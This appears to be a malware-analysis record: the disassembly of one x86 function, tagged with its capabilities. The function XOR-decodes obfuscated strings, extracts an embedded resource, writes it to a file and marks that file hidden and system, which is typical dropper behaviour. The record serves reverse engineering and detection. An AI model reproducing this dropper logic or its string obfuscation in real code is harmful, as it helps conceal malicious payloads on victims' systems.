Function at 0x10006800
Capabilities:
Extract resource via kernel32 functions
Read file via mapping
Set file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x68
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0xff0eefba
mov dword [ebp - 0xc], 0x96025fa8
mov eax, dword [ebp - 0x10]
mov esi, dword [ebp - 0xc]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x10], 0xa11a9a2a
mov dword [ebp - 0xc], 0x8c2cfdd0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x10], 0xb27d8efd
mov dword [ebp - 0xc], 0xb8692cc9
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x10], 0xa176f64e
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0xc], 0x8c2cfdd0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x54], ecx
movaps xmm1, xmmword [ebp - 0x60]
xorps xmm1, xmmword [ebp - 0x30]
push 0xa
push edx
push eax
movaps xmmword [ebp - 0x30], xmm1
call esi
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 4], eax
test eax, eax
je 0x10006a5d
mov dword [ebp - 0x10], 0xff0eefba
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x96025fa8
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x10], 0xa11a9a2a
mov dword [ebp - 0xc], 0x8c2cfdd0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x10], 0xb27d8efd
mov dword [ebp - 0xc], 0xb8692cc9
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x10], 0xa176f64e
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0xc], 0x8c2cfdd0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x54], ecx
movaps xmm1, xmmword [ebp - 0x60]
xorps xmm1, xmmword [ebp - 0x40]
push eax
movaps xmmword [ebp - 0x40], xmm1
call esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10006a5d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x10006a5d
mov dword [ebp - 0x10], 0xff0eefba
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x96025fa8
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x10], 0xa11a9a2a
mov dword [ebp - 0xc], 0x8c2cfdd0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x10], 0xb27d8efd
mov dword [ebp - 0xc], 0xb8692cc9
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x10], 0xa176f64e
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0xc], 0x8c2cfdd0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x54], ecx
movaps xmm1, xmmword [ebp - 0x60]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x50], xmm1
call esi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 4], esi
test esi, esi
je 0x10006a5d
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push esi
push 0
push 4
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x10006a5d
push 0
push 0
push 0
push 2
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push dword [ebp - 4]
mov esi, eax
push dword [ebp - 8]
push esi
call fcn.10092030
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
push 6
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret